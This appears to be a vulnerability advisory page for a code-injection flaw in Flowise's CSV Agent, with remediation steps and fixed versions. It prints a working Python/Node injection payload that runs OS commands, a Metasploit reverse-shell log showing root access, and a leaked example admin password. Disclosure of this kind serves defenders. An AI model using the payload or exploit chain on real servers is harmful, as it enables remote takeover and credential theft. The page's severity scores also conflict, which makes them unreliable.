GHSA-vmv7-4m6c-3cg5 CVE-2026-69255

Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

High npm

Severity: 0.0 / 10; High · CVSS 4.0
Exploit chance (EPSS): 0.60%; Chance of exploitation in the next 30 days. Higher than 48.80% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix: Available; 2 packages have a fixed version

Description

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
Pyodide js bridge provides access to the host Node.js process
process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
.execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

CVE-2026-41264 (CSV Agent regex bypass)
CVE-2026-41265 (Airtable Agent sandbox bypass)
CVE-2026-46442 (NodeVM sandbox escape)

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Affected versions

npm

Package	Vulnerable	Fixed in
flowise	`< 3.1.3`	`3.1.3`
flowise-components	`< 3.1.3`	`3.1.3`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → `3.1.3`

npm

npm install flowise@3.1.3

yarn

yarn add flowise@3.1.3

pnpm

pnpm add flowise@3.1.3

flowise-components npm → `3.1.3`

npm

npm install flowise-components@3.1.3

yarn

yarn add flowise-components@3.1.3

pnpm

pnpm add flowise-components@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector: Network
Attack complexity: Low
Attack requirements: Present
Privileges required: None
User interaction: None
Confidentiality (vulnerable system): High
Integrity (vulnerable system): High
Availability (vulnerable system): High
Confidentiality (subsequent systems): None
Integrity (subsequent systems): None
Availability (subsequent systems): None

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: Low
User interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it

Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Packages

github.com/FlowiseAI/Flowise

Timeline

Aug 4, 2026 Published
Oct 24, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass	Critical	Also affects flowise
GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium	High	Also affects flowise
GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service	Critical	Also affects flowise
GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability	Critical	Also affects flowise
GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation	High	Also affects flowise
GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials	Medium	Also affects flowise
GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint	Medium	Also affects flowise
GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak	High	Also affects flowise

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor